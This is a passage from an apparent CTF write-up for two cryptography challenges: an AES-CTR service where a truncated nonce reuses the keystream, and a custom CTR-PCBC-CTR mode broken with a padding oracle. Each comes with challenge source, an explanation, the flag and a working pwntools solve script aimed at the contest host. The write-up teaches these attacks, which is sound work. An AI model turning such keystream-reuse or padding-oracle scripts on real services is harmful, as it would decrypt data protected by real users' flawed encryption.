</span><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">flag</span>
<span class="kn">import</span> <span class="nn">os</span>


<span class="k">def</span> <span class="nf">Encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">nonce</span><span class="p">):</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">nonce</span><span class="o">=</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">nonce</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">).</span><span class="nb">hex</span><span class="p">()</span>


<span class="k">def</span> <span class="nf">chal</span><span class="p">():</span>
    <span class="n">key</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Treat or Trick, count my thing. "</span><span class="p">)</span>
    <span class="n">nonce_counter</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="k">print</span><span class="p">(</span><span class="n">Encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">flag</span><span class="p">,</span> <span class="n">nonce_counter</span><span class="p">))</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">nonce_counter</span> <span class="o">+=</span> <span class="mi">1</span>
        <span class="n">to_enc</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Give me something to encrypt: "</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">Encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">to_enc</span><span class="p">),</span> <span class="n">nonce_counter</span><span class="p">))</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">chal</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>In this challenge, our flag is encrypted using a nonce. We can then supply our own message to be encrypted, but each time the nonce is incremented. Normally this wouldn’t pose an issue, as you would assume that with different nonce, CTR mode will produce different results. To verify this, we’ll need to look into how the nonce is used to create our counter.</p>

<p>In <a href="https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/Cipher/_mode_ctr.py#L349">pycryptodome</a>, the full counter is created as nonce concatenated with a counter.
Namely, the counter is in the form <code class="language-plaintext highlighter-rouge">|&lt;nonce&gt;|&lt;counter&gt;|</code>.
However, the length of each section isn’t defined. Instead, the nonce is first taken, then the length of the counter is set to make the whole counter length to be 16 bytes.</p>

<p>Now notice that if the nonce ends in a null byte, it’ll act the same if we truncated out the null byte from the end. Therefore, if we wait until the challenge gives us 256 as the nonce, the nonce will be represented and ‘\x01\x00’, which will be the same as the initial ‘\x01’ nonce.</p>

<p>The rest is trivial if you know how CTR mode works. Since the key stream of the two ciphers are the same. We can xor the results from two encryption to remove the stream key and get back our result.</p>

<p><code class="language-plaintext highlighter-rouge">bctf{there_is_a_reason_for_random_nonce_and_with_fixed_length_8c6bf5a1398d1f1d95f1}</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span><span class="p">,</span> <span class="n">xor</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"gold.b01le.rs"</span><span class="p">,</span> <span class="mi">5002</span><span class="p">)</span>
<span class="c1"># trick or treat
</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="c1"># Initial Cipher
</span><span class="n">enc</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">enc_bytes</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">enc</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Encrypted: </span><span class="si">{</span><span class="n">enc_bytes</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Wait until nonce wrap around
</span><span class="n">skip</span> <span class="o">=</span> <span class="mi">254</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">skip</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"00"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">skip</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Give me"</span><span class="p">)</span>

<span class="c1"># Send message will all null bytes
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"0"</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">enc</span><span class="p">))</span>
<span class="n">null_encrypt</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">": "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">null_encrypt_bytes</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">null_encrypt</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Encrypt Null: </span><span class="si">{</span><span class="n">null_encrypt_bytes</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># xor out the ctr cipher stream
</span><span class="k">print</span><span class="p">(</span><span class="s">"Flag: "</span><span class="p">,</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc_bytes</span><span class="p">,</span> <span class="n">null_encrypt_bytes</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="propagating-counter-block-chaining">propagating counter block chaining</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>Another counter mode challenge

`nc gold.b01le.rs 5003`
Solves: 11 solves / 487 points
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="counter_chal">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-counter_chal">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#counter_chal-content" aria-expanded="true" aria-controls="counter_chal-content">
         <p>Show chal.py</p>
 
      </button>
    </p>
    <div id="counter_chal-content" class="accordion-collapse collapse" aria-labelledby="hd-counter_chal" data-bs-parent="#counter_chal">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span><span class="p">,</span> <span class="n">unpad</span>
<span class="kn">from</span> <span class="nn">functools</span> <span class="kn">import</span> <span class="nb">reduce</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">flag</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">json</span>

<span class="n">BLOCK_SIZE</span> <span class="o">=</span> <span class="mi">16</span>
<span class="n">key_ctr1</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="n">BLOCK_SIZE</span><span class="p">)</span>
<span class="n">key_ctr2</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="n">BLOCK_SIZE</span><span class="p">)</span>
<span class="n">key_cbc</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="n">BLOCK_SIZE</span><span class="p">)</span>
<span class="n">nonce1</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
<span class="n">nonce2</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">AES_ECB_enc</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">message</span><span class="p">):</span>
    <span class="n">enc</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">enc</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">AES_ECB_dec</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">message</span><span class="p">):</span>
    <span class="n">enc</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">enc</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>

<span class="c1"># Returning a block each time
</span><span class="k">def</span> <span class="nf">get_blocks</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">message</span><span class="p">),</span> <span class="n">BLOCK_SIZE</span><span class="p">):</span>
        <span class="k">yield</span> <span class="n">message</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="n">BLOCK_SIZE</span><span class="p">]</span>
    <span class="k">return</span>

<span class="c1"># Takes any number of arguements, and return the xor result.
# Similar to pwntools' xor, but trucated to minimum length
</span><span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">):</span>
    <span class="n">_xor</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x1</span><span class="p">,</span> <span class="n">x2</span><span class="p">:</span> <span class="n">x1</span><span class="o">^</span><span class="n">x2</span>
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="nb">reduce</span><span class="p">(</span><span class="n">_xor</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">)))</span>


<span class="k">def</span> <span class="nf">counter</span><span class="p">(</span><span class="n">nonce</span><span class="p">):</span>
    <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">while</span> <span class="n">count</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="o">**</span><span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">nonce</span><span class="p">)):</span>
        <span class="k">yield</span> <span class="n">nonce</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">count</span><span class="p">).</span><span class="n">encode</span><span class="p">().</span><span class="n">rjust</span><span class="p">(</span><span class="mi">16</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">nonce</span><span class="p">),</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
        <span class="n">count</span><span class="o">+=</span><span class="mi">1</span>
    <span class="k">return</span>


<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="n">iv</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="n">BLOCK_SIZE</span><span class="p">)</span>
    <span class="n">prev_block</span> <span class="o">=</span> <span class="n">iv</span>
    <span class="n">counter1</span> <span class="o">=</span> <span class="n">counter</span><span class="p">(</span><span class="n">nonce1</span><span class="p">)</span>
    <span class="n">counter2</span> <span class="o">=</span> <span class="n">counter</span><span class="p">(</span><span class="n">nonce2</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">block</span> <span class="ow">in</span> <span class="n">get_blocks</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">BLOCK_SIZE</span><span class="p">)):</span>
        <span class="n">enc1</span> <span class="o">=</span> <span class="n">AES_ECB_enc</span><span class="p">(</span><span class="n">key_ctr1</span><span class="p">,</span> <span class="nb">next</span><span class="p">(</span><span class="n">counter1</span><span class="p">))</span>
        <span class="n">enc2</span> <span class="o">=</span> <span class="n">AES_ECB_enc</span><span class="p">(</span><span class="n">key_cbc</span><span class="p">,</span> <span class="n">xor</span><span class="p">(</span><span class="n">block</span><span class="p">,</span> <span class="n">prev_block</span><span class="p">,</span> <span class="n">enc1</span><span class="p">))</span>
        <span class="n">enc3</span> <span class="o">=</span> <span class="n">AES_ECB_enc</span><span class="p">(</span><span class="n">key_ctr2</span><span class="p">,</span> <span class="nb">next</span><span class="p">(</span><span class="n">counter2</span><span class="p">))</span>
        <span class="n">enc4</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">enc3</span><span class="p">,</span> <span class="n">enc2</span><span class="p">)</span>
        <span class="n">prev_block</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">block</span><span class="p">,</span> <span class="n">enc4</span><span class="p">)</span>
        <span class="n">cipher</span> <span class="o">+=</span> <span class="n">enc4</span>

    <span class="k">return</span> <span class="n">iv</span> <span class="o">+</span> <span class="n">cipher</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">cipher</span><span class="p">):</span>
    <span class="n">message</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="n">iv</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span>
    <span class="n">cipher_text</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">[</span><span class="mi">16</span><span class="p">:]</span>

    <span class="n">prev_block</span> <span class="o">=</span> <span class="n">iv</span>
    <span class="n">counter1</span> <span class="o">=</span> <span class="n">counter</span><span class="p">(</span><span class="n">nonce1</span><span class="p">)</span>
    <span class="n">counter2</span> <span class="o">=</span> <span class="n">counter</span><span class="p">(</span><span class="n">nonce2</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">block</span> <span class="ow">in</span> <span class="n">get_blocks</span><span class="p">(</span><span class="n">cipher_text</span><span class="p">):</span>
        <span class="n">dec1</span> <span class="o">=</span> <span class="n">AES_ECB_enc</span><span class="p">(</span><span class="n">key_ctr2</span><span class="p">,</span> <span class="nb">next</span><span class="p">(</span><span class="n">counter2</span><span class="p">))</span>
        <span class="n">dec2</span> <span class="o">=</span> <span class="n">AES_ECB_dec</span><span class="p">(</span><span class="n">key_cbc</span><span class="p">,</span> <span class="n">xor</span><span class="p">(</span><span class="n">block</span><span class="p">,</span> <span class="n">dec1</span><span class="p">))</span>
        <span class="n">dec3</span> <span class="o">=</span> <span class="n">AES_ECB_enc</span><span class="p">(</span><span class="n">key_ctr1</span><span class="p">,</span> <span class="nb">next</span><span class="p">(</span><span class="n">counter1</span><span class="p">))</span>
        <span class="n">message</span> <span class="o">+=</span> <span class="n">xor</span><span class="p">(</span><span class="n">prev_block</span><span class="p">,</span> <span class="n">dec2</span><span class="p">,</span> <span class="n">dec3</span><span class="p">)</span>
        <span class="n">prev_block</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">prev_block</span><span class="p">,</span> <span class="n">dec2</span><span class="p">,</span> <span class="n">block</span><span class="p">,</span> <span class="n">dec3</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">unpad</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">BLOCK_SIZE</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">certificate</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="n">flag</span> <span class="o">+</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"""
*********************************************************

Certificate as a Service

*********************************************************

Here is a valid certificate: </span><span class="si">{</span><span class="n">encrypt</span><span class="p">(</span><span class="n">certificate</span><span class="p">).</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="s">

*********************************************************"""</span><span class="p">)</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">cert</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s">"Give me a certificate &gt;&gt; "</span><span class="p">))</span>
            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">cert</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="s">"Your certificate is not long enough"</span><span class="p">)</span>

            <span class="n">message</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">cert</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">flag</span> <span class="ow">in</span> <span class="n">message</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="s">"This certificate is valid"</span><span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="s">"This certificate is not valid"</span><span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"Something went wrong"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>We can first inspect the encrypt function. We see that two different sets of counters are used, and some sort of block chaining is used. The output of the counters is used to xor both the input and the output of the block cipher. Additionally, the results from the previous block are xored into the input of the next block. In essence, it’s a chaining CTR-PCBC-CTR mode.</p>

<p>Other than the encrypt function, this challenge is quite a barebone example of a padding oracle attack. and So the main difficulty will be in figuring out how to apply the attack on the new CTR-PCBC-CTR mode.</p>

<p>Let’s first ignore the CTR modes as we should be able to adjust for them later. How does PCBC mode padding oracle work? If we look at the figure, you’ll notice that controlling IV allows us to control the output of each block, since the result will snake through each plaintext and influence the next block accordingly. This can be used to directly influence the padding, and proceed with the normal padding oracle attack.</p>

<p><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/4/47/PCBC_encryption.svg/1920px-PCBC_encryption.svg.png#_blog_img_darkmode_invert" alt="PCBC_encryption" />
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/5b/PCBC_decryption.svg/1920px-PCBC_decryption.svg.png#_blog_img_darkmode_invert" alt="PCBC_decryption" />
(Image quoted from <a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Propagating_cipher_block_chaining_(PCBC)">wikipedia</a>)</p>

<p>Now we need to worry about the counters. We can recall that CTR acted like a stream cipher, meaning that characters at the correct place will be decrypted correctly. Naturally, if we keep the ciphertext where it should be, the decryption process will help us decrypt the correct plaintext, and we don’t need to worry about them. Since controlling the IV allows us to control every block of the output, we can choose which block we want the padding to be at, and resolve this issue. See the solve script for more details.</p>

<p><code class="language-plaintext highlighter-rouge">bctf{adding_ctr_mode_doesn't_provide_any_security_to_padding_oracle..._c850d60d210169}</code></p>

<div class="accordion mb-2" id="counter_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-counter_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#counter_solve-content" aria-expanded="true" aria-controls="counter_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="counter_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-counter_solve" data-bs-parent="#counter_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
</pre></td><td class="rouge-code"><pre><span class="c1"># ctr - pcbc - ctr
# but the chaining is done from ctr output
</span><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span><span class="p">,</span> <span class="n">unpad</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">os</span>


<span class="n">BLOCK_SIZE</span> <span class="o">=</span> <span class="mi">16</span>

<span class="k">def</span> <span class="nf">oracle</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">ct</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ct</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>

<span class="k">def</span> <span class="nf">oracle_res</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">count</span><span class="p">):</span>
    <span class="n">result</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">count</span><span class="p">):</span>
        <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt;&gt; "</span><span class="p">)</span>
        <span class="n">res</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
        <span class="k">if</span> <span class="sa">b</span><span class="s">"Something went wrong"</span> <span class="ow">in</span> <span class="n">res</span><span class="p">:</span>
            <span class="n">result</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="bp">False</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">result</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">result</span>

<span class="k">def</span> <span class="nf">oracle_block</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">ct</span><span class="p">):</span>
    <span class="n">guess</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">17</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
<span class="c1">#            print(bytes(guess+[c])[::-1])
</span>            <span class="n">new_iv</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="nb">bytes</span><span class="p">([</span><span class="n">c</span><span class="p">]</span><span class="o">+</span><span class="n">guess</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]).</span><span class="n">rjust</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">),</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">l</span><span class="p">]</span><span class="o">*</span><span class="mi">16</span><span class="p">),</span> <span class="n">iv</span><span class="p">)</span>
            <span class="n">oracle</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">new_iv</span><span class="o">+</span><span class="n">ct</span><span class="p">)</span>

        <span class="n">res</span> <span class="o">=</span> <span class="n">oracle_res</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="mi">256</span><span class="p">)</span>

        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">res</span><span class="p">[</span><span class="n">c</span><span class="p">]:</span>
                <span class="n">guess</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
                <span class="k">break</span>
        <span class="k">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">guess</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">guess</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="c1">#    p = remote("127.0.0.1", "5003")
</span>    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"gold.b01le.rs"</span><span class="p">,</span> <span class="s">"5003"</span><span class="p">)</span>
<span class="c1">#    p = process(["python3", "./src/chal.py"])
</span>    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"valid certificate: "</span><span class="p">)</span>
    <span class="n">cipher_text</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">decode</span><span class="p">())</span>
    <span class="n">iv</span><span class="p">,</span> <span class="n">ct</span> <span class="o">=</span> <span class="n">cipher_text</span><span class="p">[:</span><span class="mi">16</span><span class="p">],</span> <span class="n">cipher_text</span><span class="p">[</span><span class="mi">16</span><span class="p">:]</span>
    <span class="n">flag</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">((</span><span class="n">oracle_block</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">ct</span><span class="p">[:</span><span class="n">i</span><span class="o">*</span><span class="mi">16</span><span class="p">])</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span><span class="o">//</span><span class="mi">16</span><span class="o">+</span><span class="mi">1</span><span class="p">)))</span>
    <span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
